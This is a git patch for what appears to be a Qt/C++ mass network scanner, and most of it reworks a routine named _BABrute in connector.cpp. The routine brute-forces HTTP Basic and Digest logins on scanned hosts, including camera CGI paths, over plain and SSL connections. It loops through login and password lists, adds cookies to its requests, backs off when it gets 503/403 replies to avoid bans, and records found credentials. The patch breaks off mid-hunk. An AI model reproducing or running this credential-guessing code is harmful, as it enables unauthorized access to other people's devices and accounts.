From 5d30af667b7f24c6e91d2bf1888215f755b4378d Mon Sep 17 00:00:00 2001 From: do_not_scan Date: Sat, 6 Sep 2014 22:46:28 -0400 Subject: [PATCH] Multiple fixes --- ActivityDrawerTh_HorNet.cpp | 11 +- ActivityDrawerTh_HorNet.h | 4 +- DrawerTh_VoiceScanner.cpp | 6 +- DrawerTh_VoiceScanner.h | 4 +- STh.cpp | 9 +- STh.h | 7 +- connector.cpp | 1131 +++++++++++++++++-------------- darkmap.h | 29 - finder.cpp | 1267 ++++++++++++++++++----------------- negatives.txt | 44 +- nesca_3.cpp | 194 ++++-- nesca_3.h | 12 +- nesca_3.ui | 268 ++++++-- nesca_startModule.cpp | 405 +++++++---- resource.h | 31 +- 15 files changed, 2042 insertions(+), 1380 deletions(-) delete mode 100755 darkmap.h diff --git a/ActivityDrawerTh_HorNet.cpp b/ActivityDrawerTh_HorNet.cpp index beaf8e4..716f276 100755 --- a/ActivityDrawerTh_HorNet.cpp +++ b/ActivityDrawerTh_HorNet.cpp @@ -1,9 +1,9 @@ #include "ActivityDrawerTh_HorNet.h" #include "STh.h" -void ActivityDrawerTh_HorNet::doEmitDrawActivityLine() +void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data) { - emit adtHN->sDrawActivityLine(); + emit adtHN->sDrawActivityLine(data); }; void ActivityDrawerTh_HorNet::doEmitDrawGrid() { @@ -23,14 +23,15 @@ void ActivityDrawerTh_HorNet::run() { adtHN->doEmitDrawGrid(); int maxAct = Activity + 1; + int nm = 0; while(true) { if(maxAct < Activity) maxAct = Activity; - int nm = maxAct-=5; + if(maxAct > 1000) nm = maxAct-=1000; + else if(maxAct > 10) nm = maxAct-=10; makeActLine(((float)Activity/(nm != 0 ? nm : 1)) * 10); - stt->doEmitionSetActivityValue(QString::number(Activity) + "b"); + adtHN->doEmitDrawActivityLine(QString::number(Activity) + "b"); Activity = 0; - adtHN->doEmitDrawActivityLine(); msleep(130); }; }; \ No newline at end of file diff --git a/ActivityDrawerTh_HorNet.h b/ActivityDrawerTh_HorNet.h index f7407fc..56848b4 100755 --- a/ActivityDrawerTh_HorNet.h +++ b/ActivityDrawerTh_HorNet.h @@ -8,11 +8,11 @@ class ActivityDrawerTh_HorNet : public QThread { Q_OBJECT -public: signals: void sDrawActivityLine(); +public: signals: void sDrawActivityLine(QString); public: signals: void sDrawGrid(); public: - static void doEmitDrawActivityLine(); + static void doEmitDrawActivityLine(QString data); static void doEmitDrawGrid(); protected: void run(); diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp index de6ca97..a1f7e92 100755 --- a/DrawerTh_VoiceScanner.cpp +++ b/DrawerTh_VoiceScanner.cpp @@ -4,9 +4,9 @@ void DrawerTh_VoiceScanner::doEmitAddLine() { emit vsTh->sAddLine(); }; -void DrawerTh_VoiceScanner::doEmitDrawGrid() +void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor) { - emit vsTh->sDrawGrid(); + emit vsTh->sDrawGrid(factor); }; void DrawerTh_VoiceScanner::doEmitDrawTextPlacers() { @@ -97,7 +97,7 @@ void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int }; void DrawerTh_VoiceScanner::run() { - vsTh->doEmitDrawGrid(); + vsTh->doEmitDrawGrid(150); vsTh->doEmitDrawTextPlacers(); while(VoiceScanFlag) { diff --git a/DrawerTh_VoiceScanner.h b/DrawerTh_VoiceScanner.h index 9924c20..e4cde1a 100755 --- a/DrawerTh_VoiceScanner.h +++ b/DrawerTh_VoiceScanner.h @@ -11,11 +11,11 @@ class DrawerTh_VoiceScanner : public QThread public: public: signals: void sAddLine(); -public: signals: void sDrawGrid(); +public: signals: void sDrawGrid(int factor); public: signals: void sDrawTextPlacers(); public: void doEmitAddLine(); - void doEmitDrawGrid(); + void doEmitDrawGrid(int factor); void doEmitDrawTextPlacers(); protected: void run(); diff --git a/STh.cpp b/STh.cpp index 16e7143..13b24e2 100755 --- a/STh.cpp +++ b/STh.cpp @@ -88,15 +88,14 @@ void STh::doEmitionChangeBA(QString str) { emit stt->changeBAValue(str); }; -void STh::doEmitionSetActivityValue(QString str) -{ - emit stt->SetActivityValue(str); -}; void STh::doEmitionOffline(QString str) { emit stt->changeOffline(str); }; - +void STh::doEmitionDataSaved(bool status) +{ + emit stt->signalDataSaved(status); +}; void STh::run() { startScan(inputStr); diff --git a/STh.h b/STh.h index 605ad81..3dbbfc1 100755 --- a/STh.h +++ b/STh.h @@ -11,6 +11,7 @@ class STh : public QThread public: public: + static void doEmitionDataSaved(bool status); static void doEmitionStartScanIP(); static void doEmitionStartScanDNS(); static void doEmitionStartScanImport(); @@ -32,18 +33,16 @@ public: static void doEmitionChangeBA(QString); static void doEmitionOffline(QString); static void doEmitionBAData(QString str); - static void doEmitionSetActivityValue(QString); static void doEmitionDebugFoundData(QString); static void doEmitionShowRedVersion(); -signals: - +signals: public: signals: void showRedVersion(); public: signals: void startScanIP(); public: signals: void startScanDNS(); public: signals: void startScanImport(); -public: signals: void SetActivityValue(QString); +public: signals: void signalDataSaved(bool); public: signals: void changeGreenBAData(QString); public: signals: void changeRedBAData(QString); public: signals: void changeBAData(QString); diff --git a/connector.cpp b/connector.cpp index 62898fe..41e6231 100755 --- a/connector.cpp +++ b/connector.cpp @@ -1,11 +1,16 @@ #pragma once #include "STh.h" -#include #include #include #include #pragma once +#if defined(Q_OS_WIN32) +#include +#include +#pragma comment(lib, "iphlpapi.lib") +#endif +int gMaxBrutingThreads = 200; volatile bool BConnLocked = false; void BConInc() @@ -151,109 +156,114 @@ SSL_CTX* InitCTX(void) SSL_CTX_set_timeout(ctx, gTimeOut); if ( ctx == NULL ) { - stt->doEmitionRedFoundData("SSL error (InitCTX)."); + stt->doEmitionRedFoundData("SSL(InitCTX)."); abort(); } return ctx; } int OpenConnection(const char *hostname, int port) -{ int sd; -struct hostent *host; -struct sockaddr_in addr; -if(strlen(hostname) == 0) -{ - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); - return -1; -}; -if(port < 0 || port > 65535) -{ - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); - return -1; -}; - -if ( (host = gethostbyname(hostname)) == NULL ) -{ - ++offlines; - if(mode != 1) +{ + int sd; + struct hostent *host; + struct sockaddr_in addr; + if(strlen(hostname) == 0) { - char temp[256] = {0}; - strcpy(temp, "[Error - Bad Address ("); - - strcat(temp, hostname); - strcat(temp, ":"); - strcat(temp, std::to_string((long double)port).c_str()); - strcat(temp, "):"); - strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); - strcat(temp, "]"); - -#pragma region QTGUI_Area - stt->doEmitionRedFoundData("[SSL error]: " + QString(temp)); -#pragma endregion - + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; }; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); - return -1; -}; -sd = socket(PF_INET, SOCK_STREAM, 0); -ZeroMemory(&addr, sizeof(addr)); -addr.sin_family = AF_INET; -addr.sin_port = htons(port); -addr.sin_addr.s_addr = *(long*)(host->h_addr); -if ( connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0 ) -{ + if(port < 0 || port > 65535) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad port."); + return -1; + }; + + if ( (host = gethostbyname(hostname)) == NULL ) + { + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Bad address ("); + + strcat(temp, hostname); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); #pragma region QTGUI_Area - stt->doEmitionRedFoundData("[SSL error]: Cannot open connection to " + QString(hostname) + ":" + QString::number(port)); + stt->doEmitionRedFoundData("[SSL]: " + QString(temp)); #pragma endregion - closesocket(sd); - return -1; -} -return sd; -} -char *_baSSLWorker(char *ip, char *request) -{ - int bytes = 0; - - SSL_library_init(); - SSL_CTX *ctx = InitCTX(); - SOCKET sock = OpenConnection(ip, 443); - if(sock >= 0) - { - SSL *ssl = SSL_new(ctx); /* create new SSL connection state */ - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - - if(SSL_connect(ssl)) - { - SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - - int x = 256; - char recvBuff[1024] = {0}; - - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); - - Activity += x; - - SSL_free(ssl); - closesocket(sock); /* close socket */ - SSL_CTX_free(ctx); /* release context */ - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - std::string res2 = ""; - - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); - return recvBuff; - } - else - { - closesocket(sock); /* close socket */ - SSL_CTX_free(ctx); /* release context */ - return ""; }; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); + return -1; + }; + sd = socket(PF_INET, SOCK_STREAM, 0); + ZeroMemory(&addr, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = *(long*)(host->h_addr); + if ( connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0 ) + { + if(gNegDebugMode) stt->doEmitionRedFoundData("[SSL]:Cannot open connection to " + QString(hostname) + ":" + QString::number(port)); + closesocket(sd); + return -1; + } + return sd; +} + +void _baSSLWorker(char *ip, char *request, char *rvBuff) +{ + SSL_CTX *ctx = NULL; + ctx = InitCTX(); + if(ctx != NULL) + { + SOCKET sock = OpenConnection(ip, 443); + if(sock >= 0) + { + SSL *ssl = NULL; + ssl = SSL_new(ctx); /* create new SSL connection state */ + if(ssl != NULL) + { + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, request, strlen(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + char tempBuff[128] = {0}; + int x = 1; + int xx = 0; + + ZeroMemory(rvBuff, sizeof(rvBuff)); + while(xx < 512) + { + x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); + if(x <= 0) break; + Activity += x; + xx += x; + strncat(rvBuff, tempBuff, x); + ZeroMemory(tempBuff, sizeof(tempBuff)); + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); + }; + SSL_shutdown(ssl); + SSL_free(ssl); + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ + return; + }; + }; + closesocket(sock); /* close socket */ + SSL_CTX_free(ctx); /* release context */ }; }; -char *_getAttributeValue(char *str, char *val) +char *_getAttributeValue(char *str, char *val, char *ip, int port) { char res[1024] = {0}; char *ptrStart = NULL; @@ -263,10 +273,10 @@ char *_getAttributeValue(char *str, char *val) ptrStart = strstri(str, val); if(ptrStart != NULL) { - ptrS1End = FindFirstOcc(ptrStart, "\""); + ptrS1End = _findFirstOcc(ptrStart, "\""); if(ptrS1End != NULL) { - ptrS2End = FindFirstOcc(ptrS1End + 1, "\""); + ptrS2End = _findFirstOcc(ptrS1End + 1, "\""); if(ptrS2End != NULL) { int sz = ptrS2End - ptrS1End - 1; @@ -278,19 +288,19 @@ char *_getAttributeValue(char *str, char *val) } else { - stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: " + QString(val)); + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); return ""; }; } else { - stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: " + QString(val)); + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); return ""; }; } else { - stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: " + QString(val)); + stt->doEmitionRedFoundData("[_getAttributeValue] Error while retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); return ""; }; }; @@ -353,33 +363,46 @@ char *_makeDigestResponse(char *login, char *realm, char *pass, char *path, char print_md5_sum(response, responseMD5); return (char*)responseMD5; }; -lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) +volatile bool baSSLLocked = false; +lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) { + if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); - char request[4096] = {0}; + int cookieLen = strlen(cookie); char path[512] = {0}; strncpy(path, pathT, 512); - sockaddr_in sockAddr; - SOCKET sock; + int bTO; bool goon = false; - char hMsg[1024] = {0}; + char hRqst[1024] = {0}; + char headerMsg[1024] = {0}; char hMsgR[512] = {0}; - strcpy(hMsg, "GET "); - strcat(hMsg, path); - strcat(hMsg, " HTTP/1.1\r\nHost: "); - strcat(hMsg, ip); - strcat(hMsg, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\n\r\n"); - + strcpy(hRqst, "GET "); + strcat(hRqst, path); + strcat(hRqst, " HTTP/1.1\r\nHost: "); + strcat(hRqst, ip); + if(cookieLen != 0) + { + strcat(hRqst, "\r\nCookie: "); + strcat(hRqst, cookie); + }; + strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\n\r\n"); + + sockaddr_in sockAddr; + SOCKET sock; #pragma region VerifyBASSL if(port == 443) { - strncpy(hMsg, _baSSLWorker(ip, hMsg), 1024); + ZeroMemory(headerMsg, sizeof(headerMsg)); + while(baSSLLocked) Sleep(200); + baSSLLocked = true; + _baSSLWorker(ip, hRqst, headerMsg); + baSSLLocked = false; } #pragma endregion else @@ -410,33 +433,32 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - send(sock, hMsg, strlen(hMsg), 0); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hMsg)); - ZeroMemory(hMsg, sizeof(hMsg)); + send(sock, hRqst, strlen(hRqst), 0); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); + ZeroMemory(headerMsg, sizeof(headerMsg)); int x = 1; int xx = 0; while(xx < 512) { x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 10, &bTO); - if(x == 0) break; - strcat(hMsg, hMsgR); + if(x <= 0) break; + strncat(headerMsg, hMsgR, x); xx += x; ZeroMemory(hMsgR, sizeof(hMsgR)); }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(hMsg)); + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); }; #pragma endregion - if(strlen(hMsg) == 0) + if(strlen(headerMsg) == 0) { OnLiner = 0; strcpy(lps.login, "UNKNOWN"); return lps; }; - if(strstr(hMsg, "401 ") == NULL && strstr(hMsg, ".1 401") == NULL && strstr(hMsg, ".0 401") == NULL) + if(strstr(headerMsg, "401 ") == NULL && strstr(headerMsg, ".1 401") == NULL && strstr(headerMsg, ".0 401") == NULL) { - if(strstri(hMsg, "400 Bad") != NULL) + if(strstri(headerMsg, "400 Bad") != NULL) { shutdown(sock, SD_BOTH); closesocket(sock); @@ -445,7 +467,7 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) OnLiner = 0; return lps; } - else if(strstri(hMsg, "404 Not") != NULL || strstr(hMsg, "404 ") != NULL || strstr(hMsg, ".1 404") != NULL || strstr(hMsg, ".0 404") != NULL) + else if(strstri(headerMsg, "404 Not") != NULL || strstr(headerMsg, "404 ") != NULL || strstr(headerMsg, ".1 404") != NULL || strstr(headerMsg, ".0 404") != NULL) { if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) { @@ -463,6 +485,11 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) OnLiner = 0; return lps; }; + } + else if(strlen(headerMsg) < 16) + { + goon = true; + stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); }; if(goon == false) @@ -490,48 +517,51 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) int x = 1; int dataSz = 0; int maxSize = 1024; + char request[4096] = {0}; char recvBuff[4096] = {0}; char recvBuff2[512] = {0}; char pass[256] = {0}; int WSAErr; char localBuff[4096] = {0}; - strcpy(localBuff, data); + strcpy(localBuff, headerMsg); + int passCounter = 1; + char attribute[2048] = {0}; + char nonce[512] = {0}; + char realm[512] = {0}; + string encoded = ""; for(int i = 0; i < MaxLogin; i++) { if(globalScanFlag == false) break; for(int j = 0; j < MaxPass; j++) { + Sleep(80); if(globalScanFlag == false) break; - ZeroMemory(curLogin, sizeof(curLogin)); - ZeroMemory(curPass, sizeof(curPass)); + ZeroMemory(request, 4096); + ZeroMemory(curLogin, 256); + ZeroMemory(curPass, 256); strcpy(curLogin, loginLst[i]); strcpy(curPass, passLst[j]); - ZeroMemory(request, sizeof(request)); - ZeroMemory(tPass, sizeof(tPass)); - strncpy(tPass, curLogin, strlen(curLogin)); - strcat(tPass, ":"); - strncat(tPass, curPass, strlen(curPass)); - string encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); - strcpy(tPass, base64_decode(encoded).c_str()); - - - - if(strcmp(method, "[DIGEST]") == 0) + if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) { - char attribute[2048] = {0}; + ZeroMemory(attribute, 2048); strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); - char nonce[128] = {0}; - strcpy(nonce, _getAttributeValue(attribute, "nonce=")); - char realm[128] = {0}; - strcpy(realm, _getAttributeValue(attribute, "realm=")); + ZeroMemory(nonce, 512); + strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); + ZeroMemory(realm, 512); + strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); strcpy(request, "GET "); strcat(request, path); strcat(request, " HTTP/1.1\r\nHost: "); strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); strcat(request, curLogin); strcat(request, "\", realm=\""); @@ -542,28 +572,39 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) strcat(request, path); strcat(request, "\", qop=auth, response=\""); strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce)); - strcat(request, "\"\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + strcat(request, "\", nc=00000001, cnonce=\"9d531d56796e0dc9\"\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); } else { - if(strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); + ZeroMemory(tPass, 256); + strncpy(tPass, curLogin, strlen(curLogin)); + strcat(tPass, ":"); + strncat(tPass, curPass, strlen(curPass)); + encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); + strcpy(tPass, base64_decode(encoded).c_str()); strcpy(request, "GET "); strcat(request, path); strcat(request, " HTTP/1.1\r\nHost: "); strcat(request, ip); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); strcat(request, encoded.c_str()); strcat(request, "\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); }; - - if(BALogSwitched) stt->doEmitionBAData("Probing " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass)); - - + #pragma region BABSEQ-HTTPS if(port == 443) { - ZeroMemory(recvBuff, sizeof(recvBuff)); - strncpy(recvBuff, _baSSLWorker(ip, request), sizeof(recvBuff)); + ZeroMemory(recvBuff, 4096); + while(baSSLLocked) Sleep(100); + baSSLLocked = true; + if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); + _baSSLWorker(ip, request, recvBuff); + baSSLLocked = false; } #pragma endregion else @@ -575,12 +616,12 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) while(cErrCode == 10038) { + if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); shutdown(sock, SD_BOTH); closesocket(sock); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cErrCode = WSAGetLastError(); - if(gDebugMode) stt->doEmitionDebugFoundData("[BA] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); }; if(cCode != SOCKET_ERROR) { @@ -593,22 +634,22 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) dataSz = 0; maxSize = 1024; ZeroMemory(recvBuff2, 512); - ZeroMemory(recvBuff, sizeof(recvBuff)); - while (x > 0 && dataSz < 3584) + ZeroMemory(recvBuff, 4096); + while (x > 0 && dataSz < 3384) { - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); + ZeroMemory(recvBuff2, 512); + x = recvWT(sock, recvBuff2, 512, gTimeOut + 5, &bTO); dataSz += x; Activity += x; - if(x <= 0) break; - strcat(recvBuff, recvBuff2); + strncat(recvBuff, recvBuff2, x); }; + if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + "; - Progress: (" + QString::number((passCounter++/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); } else { - stt->doEmitionRedFoundData("[BA][CRITICAL] Send error! [" + QString(ip) + "]"); + stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); shutdown(sock, SD_BOTH); closesocket(sock); @@ -638,106 +679,77 @@ lopaStr _BABrut(char *ip, int port, char *pathT, char *method, char *data) closesocket(sock); }; #pragma endregion - + if(globalScanFlag == false) break; if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - if(strlen(recvBuff) == 0) + if(dataSz == 0) { - OnLiner = 0; -#pragma region QTGUI_Area - stt->doEmitionRedFoundData("[BA] Empty reply. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); -#pragma endregion - strcpy(lps.login, "UNKNOWN"); - - return lps; + Sleep(1000); + --j; + continue; }; + if(strcmp(method, "[DIGEST]") == 0) { - ZeroMemory(localBuff, sizeof(localBuff)); + ZeroMemory(localBuff, 4096); strcpy(localBuff, recvBuff); }; - if((strstri(recvBuff, "http/1.1 404") != NULL || strstri(recvBuff, "http/1.0 404") != NULL - ) && strstri(recvBuff, "Authorization required") == NULL) + + if(strstri(recvBuff, "http/1.1 401") == NULL + || strstri(recvBuff, "http/1.0 401") == NULL + //|| (strstri(recvBuff, "401") != NULL && strstri(recvBuff, "unauthorized") != NULL) + ) + { + ///dummy/// + } + else if(strstri(recvBuff, "503 service unavailable") != NULL + || strstri(recvBuff, "http/1.1 503") != NULL + || strstri(recvBuff, "http/1.0 503") != NULL + || strstr(recvBuff, "400 BAD_REQUEST") != NULL + || strstri(recvBuff, "400 bad request") != NULL + || strstr(recvBuff, "403 Forbidden") != NULL + ) + { +#pragma region QTGUI_Area + stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); +#pragma endregion + if(j > 0) --j; + Sleep(30000); + } + else if((strstri(recvBuff, "http/1.1 404") != NULL + || strstri(recvBuff, "http/1.0 404") != NULL + ) + && strstri(recvBuff, "Authorization required") == NULL + ) { if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); #pragma region QTGUI_Area stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); #pragma endregion - } - else if(strstr(recvBuff, "503 Service Unavailable") != NULL || - strstr(recvBuff, "503 service unavailable") != NULL || - strstr(recvBuff, "http/1.1 503") != NULL || - strstr(recvBuff, "HTTP/1.1 503") != NULL || - strstr(recvBuff, "HTTP/1.0 503") != NULL - ) - { -#pragma region QTGUI_Area - stt->doEmition_BARedData("[-] 503 - Ban detected? Waiting 1 min (" + QString(ip) + ":" + QString::number(port) + ")"); -#pragma endregion - - if(j > 0) --j; - Sleep(60000); - } - else if(strstri(recvBuff, "Authentication required") != NULL - || strstri(recvBuff, "Authentication failed") != NULL - || strstri(recvBuff, "Authentication Required") != NULL - || strstri(recvBuff, "HTTP/1.1 401 ") != NULL - || strstri(recvBuff, "HTTP/1.0 401 ") != NULL - || strstri(recvBuff, "401 Unauthorized") != NULL - || strstri(recvBuff, "401 Authorization") != NULL) - { - /*dummy*/ + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; } else if( (strstri(recvBuff, "200 ok") != NULL - || strstri(recvBuff, "HTTP/1.0 200") != NULL - ) && strstri(recvBuff, "Access forbidden") == NULL - && strstri(recvBuff, "Authentication required") == NULL - && strstri(recvBuff, "Authentication failed") == NULL - && strstri(recvBuff, "Authentication Required") == NULL - && strstri(recvBuff, "HTTP/1.1 401 ") == NULL - && strstri(recvBuff, "HTTP/1.0 401 ") == NULL - && strstri(recvBuff, "401 Unauthorized") == NULL - && strstri(recvBuff, "401 Authorization") == NULL - && strlen(recvBuff) > 13 + || strstri(recvBuff, "http/1.0 200") != NULL + ) + //&& strstri(recvBuff, "access forbidden") == NULL + //&& strstri(recvBuff, "authentication required") == NULL + //&& strstri(recvBuff, "authentication failed") == NULL + && strstri(recvBuff, "http/1.1 401 ") == NULL + && strstri(recvBuff, "http/1.0 401 ") == NULL + //&& strstri(recvBuff, "401 unauthorized") == NULL + //&& strstri(recvBuff, "401 authorization") == NULL + && dataSz > 13 ) { - if(strstri(recvBuff, "meta http-equiv=\"refresh\"") != NULL) - { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - strcat(pass, " [FH]"); - OnLiner = 0; - strcat(tPass, " [ FAKE HIT ]"); - - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - - return lps; - }; - if(strstri(recvBuff, "window.location.href") != NULL) - { - ZeroMemory(pass, 256); - strcpy(pass, ip); - strcat(pass, "[Redirect in Basic Authorization detected. Check defaults manually ("); - strcat(pass, tPass); - strcat(pass, ")]"); - OnLiner = 0; - stt->doEmition_BAGreenData("[-] " + QString(pass)); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - - return lps; - }; - if(strstri(recvBuff, "Access is Denied") == NULL + if(strstri(recvBuff, "access is denied") == NULL && strstri(recvBuff, "iisstart") == NULL && strstri(recvBuff, "Location:") == NULL - && strstri(recvBuff, "Access forbidden") == NULL - && strstri(recvBuff, "Authentication required") == NULL + && strstri(recvBuff, "access forbidden") == NULL ) { ZeroMemory(pass, 256); @@ -768,7 +780,8 @@ lopaStr _BABrut(char *ip, 